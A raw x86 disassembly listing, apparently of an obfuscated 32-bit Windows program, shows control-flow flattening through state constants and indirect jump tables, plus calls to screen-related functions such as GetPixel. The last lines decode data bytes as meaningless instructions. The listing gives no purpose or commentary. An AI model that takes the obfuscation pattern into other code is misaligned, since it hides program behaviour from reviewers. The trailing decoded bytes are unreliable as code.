mov eax, dword [esp + 0x1bc]
mov ecx, dword [esp + 0x1b8]
mov eax, dword [eax + ecx*4]
jmp eax
call fcn.0040e5f0
mov eax, dword [esp + 0x34]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_ReleaseDC]
call eax
sub esp, 8
mov eax, dword [esp + 0x1c]
mov dword [eax], 0xd64535ea
mov eax, dword [esp + 0x98]
mov ecx, dword [esp + 0x9c]
mov eax, dword [ecx + eax*4]
jmp eax
xlatb
shl dword [esp + 0x3424448b], 1
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_ReleaseDC]
call eax
sub esp, 8
mov eax, dword [esp + 0x1c]
mov dword [eax], 0xf62362cb
mov eax, dword [esp + 0x60]
mov ecx, dword [esp + 0x64]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x1c]
mov dword [eax], 0xf2c8d4eb
mov eax, dword [esp + 0x2b8]
mov dword [esp + 0x50], eax
mov eax, dword [esp + 0xc8]
mov ecx, dword [esp + 0xcc]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x405fbade
setl cl
mov dword [esp + 0x270], ecx
mov ecx, dword [esp + 0x274]
mov edx, dword [esp + 0x270]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0x9d17f12f
sete cl
mov dword [esp + 0x150], ecx
mov eax, dword [esp + 0x154]
mov ecx, dword [esp + 0x150]
mov eax, dword [eax + ecx*4]
jmp eax
mov eax, dword [esp + 0x34]
mov dword [esp], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [sym.imp.GDI32.dll_GetPixel]
call eax
sub esp, 0xc
mov eax, dword [esp + 0x1c]
mov dword [eax], 0x34649e76
mov byte [esp + 0x24], 0
mov eax, dword [esp + 0xb0]
mov ecx, dword [esp + 0xb4]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0xed879649
sete cl
mov dword [esp + 0x190], ecx
mov eax, dword [esp + 0x194]
mov ecx, dword [esp + 0x190]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x3059cbcc
setl cl
mov dword [esp + 0x258], ecx
mov ecx, dword [esp + 0x25c]
mov edx, dword [esp + 0x258]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0x2f9d918b
sete cl
mov dword [esp + 0x238], ecx
mov eax, dword [esp + 0x23c]
mov ecx, dword [esp + 0x238]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x2f9d918b
setl cl
mov dword [esp + 0x2a0], ecx
mov ecx, dword [esp + 0x2a4]
mov edx, dword [esp + 0x2a0]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x1d391c0f
setl cl
mov dword [esp + 0x228], ecx
mov ecx, dword [esp + 0x22c]
mov edx, dword [esp + 0x228]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, dword [esp + 0x3c]
mov ecx, dword [esp + 0x328]
mov dword [ecx], eax
mov eax, dword [esp + 0x54]
mov ecx, dword [esp + 0x324]
mov dword [ecx], eax
mov eax, dword [esp + 0x1c]
mov dword [eax], 0x34649e76
mov byte [esp + 0x24], 1
mov eax, dword [esp + 0xb8]
mov ecx, dword [esp + 0xbc]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x1c]
mov dword [eax], 0x1d391c0f
mov eax, dword [esp + 0x78]
mov ecx, dword [esp + 0x7c]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x1c]
mov dword [eax], 0xf2c8d4eb
mov dword [esp + 0x50], 0
mov eax, dword [esp + 0x110]
mov ecx, dword [esp + 0x114]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x6e41a079
sete cl
mov dword [esp + 0x280], ecx
mov eax, dword [esp + 0x284]
mov ecx, dword [esp + 0x280]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0xb4b8a7e6
sete cl
mov dword [esp + 0x158], ecx
mov eax, dword [esp + 0x15c]
mov ecx, dword [esp + 0x158]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x327da792
setl cl
mov dword [esp + 0x250], ecx
mov ecx, dword [esp + 0x254]
mov edx, dword [esp + 0x250]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
mov edx, eax
sub edx, 0x35a3ed6
setl cl
mov dword [esp + 0x200], ecx
mov ecx, dword [esp + 0x204]
mov edx, dword [esp + 0x200]
mov ecx, dword [ecx + edx*4]
jmp ecx
xor ecx, ecx
sub eax, 0x88ca0326
sete cl
mov dword [esp + 0x130], ecx
mov eax, dword [esp + 0x134]
mov ecx, dword [esp + 0x130]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xf3433ead
setl cl
mov dword [esp + 0x1c8], ecx
mov ecx, dword [esp + 0x1cc]
mov edx, dword [esp + 0x1c8]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov al, byte [esp + 0x23]
mov byte [esp + 0x25], al
call fcn.0040e5f0
mov eax, dword [esp + 0x1c]
mov dword [eax], 0xf62362cb
mov eax, dword [esp + 0xa0]
mov ecx, dword [esp + 0xa4]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0x35a3ed6
sete cl
mov dword [esp + 0x1e8], ecx
mov eax, dword [esp + 0x1ec]
mov ecx, dword [esp + 0x1e8]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0xf3433ead
sete cl
mov dword [esp + 0x1b0], ecx
mov eax, dword [esp + 0x1b4]
mov ecx, dword [esp + 0x1b0]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
sub eax, 0x667f4178
sete cl
mov dword [esp + 0x278], ecx
mov eax, dword [esp + 0x27c]
mov ecx, dword [esp + 0x278]
mov eax, dword [eax + ecx*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0x9447c318
setl cl
mov dword [esp + 0x140], ecx
mov ecx, dword [esp + 0x144]
mov edx, dword [esp + 0x140]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov al, byte [esp + 0x27]
test al, al
mov eax, 0x2a818c26
jne 0x439192
mov eax, 0xd1c8cbc
mov ecx, dword [esp + 0x1c]
mov dword [ecx], eax
mov eax, dword [esp + 0xf0]
mov ecx, dword [esp + 0xf4]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xcb629a82
setl cl
mov dword [esp + 0x168], ecx
mov ecx, dword [esp + 0x16c]
mov edx, dword [esp + 0x168]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov al, byte [esp + 0x24]
mov ecx, dword [esp + 0x1c]
mov dword [ecx], 0x667f4178
mov byte [esp + 0x23], al
mov eax, dword [esp + 0xa8]
mov ecx, dword [esp + 0xac]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
mov edx, eax
sub edx, 0xd40c8cfb
setl cl
mov dword [esp + 0x1d8], ecx
mov ecx, dword [esp + 0x1dc]
mov edx, dword [esp + 0x1d8]
mov ecx, dword [ecx + edx*4]
jmp ecx
mov eax, dword [esp + 0x4c]
mov dword [esp + 0x40], eax
mov eax, dword [esp + 0x2c]
mov eax, dword [eax]
mov ecx, dword [esp + 0x40]
sub ecx, eax
mov eax, 0x35a3ed6
jl 0x43923e
mov eax, 0xb4b8a7e6
mov ecx, dword [esp + 0x1c]
mov dword [ecx], eax
mov eax, dword [esp + 0xe0]
mov ecx, dword [esp + 0xe4]
mov eax, dword [ecx + eax*4]
jmp eax
mov eax, dword [esp + 0x30]
mov dword [esp], eax
call fcn.0040cde0
mov eax, dword [esp + 0x1c]
mov dword [eax], 0xd40c8cfb
mov eax, dword [esp + 0x88]
mov ecx, dword [esp + 0x8c]
mov eax, dword [ecx + eax*4]
jmp eax
call fcn.0040e5f0
mov eax, dword [esp + 0x44]
inc eax
mov dword [esp + 0x2b8], eax
mov eax, dword [esp + 0x1c]
mov dword [eax], 0x88ca0326
mov eax, dword [esp + 0xd0]
mov ecx, dword [esp + 0xd4]
mov eax, dword [ecx + eax*4]
jmp eax
xor ecx, ecx
sub eax, 0xd64535ea
sete cl
mov dword [esp + 0x188], ecx
mov eax, dword [esp + 0x18c]
mov ecx, dword [esp + 0x188]
mov eax, dword [eax + ecx*4]
jmp eax
int 0x42
add byte [ecx - 0x33], cl
inc edx
add byte [esi + ecx*8 + 0x42], bl
add byte [eax - 0x32], dh
inc edx
add byte [eax - 0x32], dh
inc edx
add byte [eax - 0x32], dh
inc edx
add byte [eax - 0x32], dh
inc edx
add byte [esi - 0x32], dh
inc edx
add byte [ebx - 0x31], al
inc edx
add byte [esi + 0x660042ce], al
iretd
invalid